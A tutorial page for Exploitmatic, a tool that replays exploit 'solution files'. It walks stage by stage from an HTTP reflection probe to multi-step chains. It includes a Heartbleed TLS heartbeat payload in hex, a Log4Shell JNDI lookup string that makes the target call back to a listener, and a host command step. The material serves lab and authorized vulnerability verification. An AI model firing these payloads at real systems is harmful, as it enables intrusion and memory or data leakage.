Skip to content

Authoring solutions

A path from your very first solution file to expert-level chains. Work through the stages in order.

This guide takes you from your very first solution file to expert-level chains. Work through the stages in order: each one builds on the last, and each ends with a checkpoint so you know you are ready to move on. If you already know a stage, skim it and jump ahead.

Every solution has the same shape: a few lines about the attack at the top, then the steps. Each step starts with its identity and a name, then English directive lines, and ends with an expect, the pass or fail test. The rest of a step depends on the protocol.

Stage 1: your very first file

What you learn: the shape of a solution file, how to run one, and how to read the result.

The smallest useful solution is a single HTTP step. Here is the whole file:

id: web/reflection-probe
param: template

http reflect
  get with "REFLECTED_7x7"
  # send a unique marker in the template param and confirm it comes back
  expect "REFLECTED_7x7" in the response

Read it top to bottom:

  • id names the attack. param names the input parameter, template here.
  • The block after it is one step. http is the protocol, reflect is the step name. It sends REFLECTED_7x7 in the template parameter of a GET request.
  • expect is the pass or fail test: the step passes only if the response contains REFLECTED_7x7.

Save it as solution.txt and run it against a target:

exploitmatic solution.txt http://example.com/render

The runtime prints one line per step and a result. When the value comes back, the result is verified; when it does not, the result is not verified. A bad file or a connection problem stops the run with an error message instead.

Checkpoint: you can write a one-step HTTP solution, run it, and read the result.

Stage 2: get the payload to the right place

What you learn: the ways an HTTP step can carry a value, and how to match a response that varies.

A step is English sentences and the program does the heavy lifting: get "/login" gets a page, post "/api" as json with {"x":1} posts one, and expect "marker" in the response checks the answer. The http identity moves the value by the form of the directive:

directivethe request it makes
get "<path>"GET the path, no parameter
get with "<value>"GET target?param=value
get "<path>" with "<value>"GET the path with the value in the query parameter
post "<path>" as a form field <name> with "<value>"POST, form-encoded
post "<path>" as json with "<value>"POST, JSON body
post "<path>" as a raw json with "<value>"POST, the body IS the value
post "<path>" as a raw form with "<value>"POST, the body IS the value, sent as a form

Use get "<path>" to add to the target URL and with the header "<name>" set to <value> to add request headers.

When the response varies a little, use a pattern instead of exact text. The regex test matches a pattern; this one accepts either heartbeat record version:

expect the response to match "18030[123]40"

The expect a flag test is a shortcut: it passes when the response contains a flag-shaped string such as FLAG{...}.

Checkpoint: you can choose the right directive for a web target and the right test for the reply.

Stage 3: reach the flag

What you learn: reading a file on your own machine, the finish line of a capture-the-flag lab.

id: host/read-flag

file read-flag
  read "{flag_path}"
  expect a flag

{flag_path} is filled in from the --flag-path flag. This step reads a file on your own machine:

exploitmatic solution.txt example.com --flag-path flag.txt

The expect a flag test passes when the file content looks like FLAG{...}.

Checkpoint: you can probe a lab, then read the flag it writes.

Stage 4: two steps, one conversation

What you learn: how steps run in order, and when a connection stays open between them.

For tcp, tls, and websocket steps the connection stays open across steps. This matters for attacks that need a handshake first: stage the handshake in one step, send the exploit in the next, on the same connection. For http steps each step is its own request.

Heartbleed is the classic case. Step 1 opens a TLS connection and proves the server finishes its hello. Step 2 sends the malformed heartbeat and looks for the leak:

id: tls/heartbeat-probe

tls clienthello
  # advertise the heartbeat extension and wait for ServerHelloDone
  send hex "1603030125010001210303..."
  receive until "0e000000"
  receive 65536 bytes
  timeout 5 seconds
  expect "0e000000" in the response

tls malformed-heartbeat
  # send a heartbeat request claiming a payload length with zero payload bytes
  send hex "1803030003014000"
  receive 70000 bytes
  timeout 5 seconds
  expect the response to match "18030[123]40"
  • send hex "<hex>" is the bytes to send, written as hex (or send hex of "HELO x\r\n" hex-encodes readable text)
  • receive <n> bytes is the most bytes to read
  • receive until "<hex>" stops the read once a marker appears, here the ServerHelloDone message
  • timeout <n> seconds is how long to wait
  • close the connection would end the session after the step

The target for a tls solution is host:port:

exploitmatic solution.txt example.com:8443

Checkpoint: you can replay a real protocol exploit that needs a session.

Stage 5: values that change

What you learn: reusing values across steps, and following values the server assigns.

Sometimes a later step needs a value that is not known until the run: a session port, a token. Two tools handle this.

Declare your own values at the top with vars, and change them mid-flow with set on a step:

id: demo/probe
vars:
  marker: ONE

http first
  get with "{marker}"
  set:
    token: TWO
  expect "ONE" in the response

http second
  get with "{token}"
  expect "TWO" in the response

Step 1 sends {marker} (which is ONE) and declares {token} as TWO. Step 2 sends {token} (which is now TWO).

When the value comes from the target, capture pulls it out of the response. This example follows a server-assigned port:

tcp negotiate
  send hex "010203..."
  capture the value after "6f703a6f747270633a" as port_id
  expect "..." in the response

tcp use-port
  send hex of "otrpc:{port_id}:..."

The value after shape captures the run of hex after a hex marker and hex-decodes it. Later steps reference {port_id} and the runtime fills it in. See Variables for the rules.

Some servers hand over a value base64-encoded, and the value you need is inside it. The shape form reads as English and the program knows the page shapes: from runs the capture over an earlier variable, base64 decodes the source first, and the shape names the thing (an HTML form field, an XML or HTML attribute, a JSON json field):

http sso
  get "/"
  capture the form field "SAMLRequest" as saml_b64
  capture the attribute "ID" of saml_b64 base64 as reqid

The first line stores the base64 SAMLRequest from the form; the second decodes it and stores the request id in reqid. To send a value back encoded, write the value as base64 of "text"; the runtime base64-encodes it after {var} substitution, the shape a SAML response expects.

For a WebSocket step, the send is treated as text and wrapped into a proper frame automatically, so you do not hand-compute frame lengths:

websocket ws-rpc
  send "{\"jsonrpc\":\"2.0\",\"id\":{port}}"

Checkpoint: you can build a conversation that adapts to values it learns along the way.

Stage 6: make the target phone home

What you learn: out-of-band callbacks and running commands on your own machine.

Some attacks make the target connect back to us. The Log4Shell pattern declares a listener at the top, then checks a callback arrived:

id: log4j/jndi-probe
oob:
  host: 127.0.0.1

http jndi-lookup
  get with "${jndi:ldap://{oob_host}:{oob_port}/hit}"
  # trigger a JNDI lookup back to the listener
  expect the target to call back "300c0201016007"

{oob_host} and {oob_port} are filled in automatically. A port of 0 picks a free one. The expect the target to call back test passes when a callback arrives. The marker here is the LDAP bind prefix: the JNDI lookup connects and sends an anonymous bind, and the listener records the raw bytes, so that prefix is what actually arrives. When the target runs in a container, give the listener a routable address (-oob-host), because 127.0.0.1 inside the container is the container’s own loopback.

The process identity runs a command on your own machine and checks its output, like file:

id: host/whoami

process whoami
  run "id"
  expect the response to match "uid="

The file identity works the same way: read "<path>" or write "<path>" with "<data>".

Checkpoint: you can build solutions that reach out of band and into the host.

Stage 7: expert habits

What you learn: combining everything, keeping solutions deterministic, and debugging when they fail.

A real solution mixes the stages. One attack can start with a WebSocket upgrade, follow a server-assigned port, send a JSON-RPC call, and finish with a flag read on the host. Build it one stage at a time, and test each stage against a replica before moving on.

Keep solutions deterministic: fixed bytes, fixed paths, no randomness. The same file against the same target must give the same result, so a run can be repeated and compared any time.

When a run fails, the console points at the problem. Common causes:

symptomcause
unknown identitythe identity is not one the runtime implements
missing directivea required directive is missing, for example a get or post on an http step
not valid hexsend hex or receive until on a tcp/tls step is not hex
test failedthe test ran and failed, the attack did not work on this target

The console report shows what every step sent and received, with the test that ran. It stores no result, so the result always comes from the tests.

Checkpoint: you can write, run, and debug a multi-stage solution on your own.

Rules of thumb

  • Steps run in order, and the tcp, tls, and websocket connection stays open between them.
  • A step without a test is recorded but never fails.
  • Keep steps deterministic: fixed bytes, fixed paths, no randomness.
  • A solution is data only. The runtime never executes anything from it.
  • Refine against a local replica first, then verify against an authorized target.

See the overview for the protocol list and the Steps page for the step form in detail.

Give exploit research a common language.

Bring a PoC, a writeup, or an AI-generated draft into an Exploitmatic solution: inspect it, validate it, and replay it against a target you own. The runtime and the corpus are open source.